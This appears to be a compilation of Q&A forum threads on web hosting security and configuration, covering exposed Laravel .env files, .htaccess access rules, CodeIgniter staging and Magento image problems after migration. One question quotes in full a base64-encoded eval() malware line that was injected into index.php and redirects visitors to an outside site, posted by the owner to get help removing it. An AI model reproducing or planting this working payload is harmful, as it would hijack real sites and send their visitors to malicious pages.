Currently I've put my laravel site online (just for testing). But when I go to for example www.mysite.nl/.env it shows my password etc. for my database. How can I prevent this?
It should be mentioned that use of .env files is intended to be for development only, not production.
Once you're ready to take the site live, the values that you put in the .env file should be moved to the server environment variables.
This should be more secure for two reasons:
The problem you've discovered, that the .env file is accessible, will no longer apply, since there will be no more .env file. Plus, this won't require any server configuration changes (.htaccess files or similar) to restrict access to the .env file.
Server environment variables will not be accessible to anyone without shell access to the server.
Also keep in mind that .env file should not be reachable by users. Only the public/ folder content must be reachable. Set your server configuration to do it ( not always possible though ).
Otherwise, for your production environment you can simply ommit the .env file and define all the settings directly in app/config/
Some hosters also provide their servers with Forge.
Remember to always put your .env file into the .gitignore file if you are using it.
Have a nice day
Removing .env alone doesn't guarantee that your code is safe. As the only reason why this happen is that you ignore the default recommended structure which is to only give access for the web server to public directory.
Now, let say you removed the .env file. Are you sure that:
Nobody can access storage/logs/laravel.log (or daily rotating log file).
Are you sure you're cache and session data is safe, if you're using file based driver.
Are you sure nobody can peek at your compiled blade view under storage/framework/views.
Don't ever skip and compromise security to solve your webhosting limitation.
To hide .env on apache server add this below code in top of your htaccess file. this will also hide directory list view and will hide gitignore webpack config and more. hope that helps
# Disable Directory listing
Options -Indexes
# block files which needs to be hidden, specify .example extension of the file
<Files ~ "\.(env|json|config.js|md|gitignore|gitattributes|lock)$">
Order allow,deny
Deny from all
</Files>
# in here specify full file name sperator '|'
<Files ~ "(artisan)$">
Order allow,deny
Deny from all
</Files>
Be careful, the accepted answer skips over an important detail. Even if the .env file is removed, the directory that it resides in should not be accessible in the first place.
Instead of attempting to deny access to a list of files or folders as some people suggest, the web server's Document Root should be set to the /public folder in a Laravel application. All requests will then be mapped safely starting from /public, which means that the source files of your application are not accessible from the web unless you explicitly give access to them.
Related
All my Laravel websites have been infected by a malicious code named aeR4Choc.
It seems to (only???) infect the public/index.php file by redirecting to malicious sites.
here's the line that can be decoded:
/*aeR4Choc_start*/#eval(base64_decode('aWYoIWRlZmluZWQoImNoYWVKb3U3IikpewogICAgZGVmaW5lKCJjaGFlSm91NyIsIDEpOwogICAgZnVuY3Rpb24gaXNNb2JpbGUoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdhbmRyb2lkJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnYmxhY2tiZXJyeScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwaG9uZScpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwYWQnKSAhPT0gZmFsc2UKICAgICAgICAgICAgfHwgc3RycG9zKCR1YWdlbnRTdHIsICdpcG9kJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnb3BlcmEgbWluaScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2llTW9iaWxlJykgIT09IGZhbHNlKXsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0Rlc2t0b3AoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdlZGdlJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnbXNpZScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ29wcicpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2Nocm9taXVtJykgIT09IGZhbHNlCiAgICAgICAgICAgIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnZmlyZWZveCcpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2Nocm9tZScpICE9PSBmYWxzZSl7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgJHJlZGlyVG8gPSAiaHR0cHM6Ly93d3cucm94b2Vub3MueHl6LyI7CiAgICAkY2hlY2tDb29rUmVkaXJTdHIgPSAiYWVOZWU4cGkiOwogICAgJHJlZGlyZWN0QWxsb3cgPSB0cnVlOwogICAgZm9yZWFjaCAoJF9DT09LSUUgYXMgJGNvb2tLZXk9PiRjb29rVmFsKXsKICAgICAgICBpZiAoc3RycG9zKCRjb29rS2V5LCAnd29yZHByZXNzX2xvZ2dlZF9pbicpICE9PSBmYWxzZSB8fCAkY29va0tleSA9PSAkY2hlY2tDb29rUmVkaXJTdHIpIHsKICAgICAgICAgICAgJHJlZGlyZWN0QWxsb3cgPSBmYWxzZTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQoKICAgICR1YWdlbnQgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7CgogICAgaWYgKCRyZWRpcmVjdEFsbG93KXsKICAgICAgICBpZihpc01vYmlsZSgkdWFnZW50KSB8fCBpc0Rlc2t0b3AoJHVhZ2VudCkpIHsKICAgICAgICAgICAgc2V0Y29va2llKCRjaGVja0Nvb2tSZWRpclN0ciwgIjEiLCB0aW1lKCkgKyA2MDQ4MDApOwogICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAkcmVkaXJUbyIpOwogICAgICAgICAgICBkaWU7CiAgICAgICAgfQogICAgfQp9'));/*aeR4Choc_end*/
My questions:
How to get rid of it ? Just by deleting it?
How did it happened and how can I prevent further attacks?
Thanks!
I would start by restoring the original index.php file from the Laravel install. You can just delete the code, but they may have added more (like a cors header). Might want to load up a backup from before the hack and run a diff to see what other files were altered.
Check the file permissions on index.php - change it to 644 and change the owner to root and group to www (if you have that group).
If you have debug=true in your .env file you may be open to attack
https://www.ambionics.io/blog/laravel-debug-rce
I am using shared hosing for Codeigniter application for deployment.
How can i run staging url on live server?
1) domain.com (Working)
2) domain.com/staging/ (Not working, showing 404 error)
I created staging folder under public_html directory, now put All CI code in staging folder, and tried to run the application with URL domain.com/staging/ but it redirect on domain.com/404
I expect to run domain.com for users and domain.com/staging for development. (Staging URL i will use for development and after that i will place the same code for live URL.)
This is most easily done by using a subdomain for the staging version, i.e. staging.doman.com. The folder where you put the CI files isn't super important as the subdomain will be set to use the directory you choose.
You will either need to have complete control over the server or have a service provider that allows you to set up subdomains.
- Expanded Answer -
If you cannot set up a subdomain then your next best option is to use the advice in the documentation on Managing you Applications. It isn't required to use the file structure shown there. In your case try the following.
Create a folder on the same level as application named staging.
Into that folder copy all the folders and files normally found in /application.
Add all application folders and files required by your site. The files in these folders are those that make up the application you are staging.
Make a copy of index.php (the file at the root of the public folder, i.e. domain.com/index.php) and name it staging.php. Both index.php and staging.php will be in the same folder.
Edit staging.php and change the value of $application_folder to be the absolute path to the staging folder. For example:
$application_folder = '/path/to/domain.com/public_folder/staging';
The path above is an example. You must replace it with the actual path in your server. If you have no idea what the full and absolute path is you can use
$application_folder = dirname(__FILE__).'/staging';
Browse to the URL domain.com/staging.php and you should get your default controller's output. To test that you are actually seeing the staging version of the page temporarily change something in the view file so there can be no doubt.
You will go to other controllers by using the URL domain.com/staging.php/other_controller.
Change the value of $config['index_page'] in /staging/config/config.php to staging.php, e.g.
$config['index_page'] = 'staging.php';
Without the above change redirect() and many other "helper" functions will not work correctly.
(Optional?) You can probably edit the main .htaccess and add rewrite rules for staging.php the same way it is done for index.php. But I will leave that as an exercise for you. (Or for another SO question.)
A final word. It might be necessary to make other configuration changes to accommodate the revised file structure. I tested the answer here but did not go beyond the most basic task of browsing to controllers. Most likely config values for sessions, cookies, and many others will need to be adjusted for the staged version to work correctly. Check out the documentation on Handling Multiple Environments for guidance on making this less painful.
I noticed Joomla, Wordpress and other CMSs have blank index.html files in ALL their sub folders to prevent people from peeking into the folder structure. My question is why can't they forbid folder viewing using the .htaccess file instead of putting a blank index.html file into all the folders. What's the difference and why have they chosen index.html?
Turning off folder 'Indexes' is best done in the master httpd.conf or vhosts.conf file rather than local .htaccess files.
Joomla (and Mambo before it) have been around quite a while and are used widely on shared hosting servers. The decision was taken to use index.html files as a safe fallback given the 'mixed' nature of shared hosting. Obviously .htaccess files are apache only, can cause server 500 errors if present on servers not expecting them or if they contain directives not supported by certain server setups. Consequently by default Joomla doesn't ship with a .htaccess file as such. There is a htaccess.txt file which the user needs to put in place manually if they activate certain features. It is assumed that a user knowledgeable enough to put the file in place will understand the consequences and if it does kill their site they will immediately understand the cause - due to the error immediately following their actions.
As server setups have advanced there is (sometimes heated) discussion about the current validity of the use of index.html files - but for now the policy is that all add-ons should ship with 'blank' index.html files in all folders.
My current hosting company cannot allow me to place any content above the server root. So i have no way to protect those config.php files from those evil people. I know a way to stop them being accessed by browsers (fake 404 messages) but it's very easy to get pass that.
do you guys know any other way to protect files from users but allow php scripts to access them?
If your hoster allows the use of .htaccess files you could add a file called .htaccess into the desired directory with the content:
deny from all
So nobody can acces the files in this directory (but your php interpreter should still be able to).
You could give a custom extension those files and then protect them with an .htaccess file denying access to them. Something like the following:
<Files config.php>
Order allow,deny
deny from all
</Files>
If you're using a config.php, just set some variable in your main script like "$include_config" and then check for it in your config file itself. If the variable is not there, use die(); and nothing at all will be output by config.php
I recently migrated my magento website to a different server, and here's the process I used:
made a dump of the database.
copied all the system files from the FTP to my hard drive.
emptied the VAR folder
emptied the media cache folders
replaced the strings in the SQL dump from http://www.oldsite.com to http://www.newsite.com
restored the database on the new server
modified the local.xml file to suit the new database host, login and password.
uploaded the system files to the new server
Everything seems to work fine, except for the fact that the product images are not being displayed on the frontend for some reason.
For example, here's a path from an image that was supposed to be showing, which I got through firebug:
http://www.newsite.com/media/catalog/product/cache/1/small_image/113x113/9df78eab33525d08d6e5fb8d27136e95/1/_/1_9.jpg
When I search for the path of the image the site is supposed to show in the FTP, the file is actually there. I can download it and display it on my computer. I don't know why this is happening. It doesn't make any sense to me.
This /media/catalog/product/cache/ was generated by the system, because I erased it myself before uploading the site, so I guess it isn't a cache related issue.
Well, I described the issue the best I could. I hope you can help me out.
EDIT:
Hmm, it turns out the problem was the .htaccess file inside the media folder! Removed the file -> Problem solved!
Just in case anyone else has the same problem, removing the .htaccess in the media folder did the trick. I don't know if that's the best possible solution though! Thanks!
Change Options All -Indexes to Options -Indexes in the above mentioned .htaccess file.
copied all the system files from the FTP to my hard drive.
This one makes me a bit suspecting. Magento has case-sensitive folders in the media folder. There would be, for instance, an 'a' folder and an 'A' folder in the same location.
If you downloaded your files unarchived (file by file) via FTP to a Windows machine, this would cause a conflict and would omit up to half your images.
Ok, since everything checked out with the base URL, my next suggestion is a migration path option if you have cPanel on the old server, and since most do, this should help:
Create a full backup of the account using cPanel. This will create a tar.gz of the entire account.
Download the tarred backup to your computer and unzip.
Find home_dir.tar - this is what contains your HTML root information. You can either upload this directly to the server and untar there using SSH, or do it on your local computer and upload.
Find the SQL folder in the untarred backup. There should be a dump of your database there. Use source to put that information into a new database.
On the server, delete use_cache.ser and change config information for the new database.
Your .htaccess should have come over in the home_dir.tar, but make sure that it's correct per our other question
Once that's done, you should be fully functional, unless you need to make changes in the database base_url for the new server.
Images not showing in Magento 1.7 to 1.9 upgrade:
My solution:
in /media/.htaccess
fixed options syntax:
# Options ExecCGI Includes IncludesNOEXEC SymLinksIfOwnerMatch -Indexes
Options +ExecCGI +Includes +IncludesNOEXEC +SymLinksIfOwnerMatch -Indexes
removed these. Maybe conflict with .htaccess in site root directory??
# For security reasons, Option followsymlinks cannot be overridden.
# Options +FollowSymLinks
# Options +SymLinksIfOwnerMatch
# RewriteEngie on
also changed ownership of .htaccess to apache
chown apache:apache /var/www/mystore/media/.htaccess
Would like opinion of why these may be causing 500 errors.
php bin/magento catalog:images:resize
This helped me, but it take's a lot of time to complete
for magento 2.4.5
in pub//media/.htaccess
change „FollowSymLinks“ to „SymLinksIfOwnerMatch“. example:
############################################
enable rewrites
Options +SymLinksIfOwnerMatch
RewriteEngine on
## you can put here your pub/media folder path relative to web root
#RewriteBase /magento/pub/media/
############################################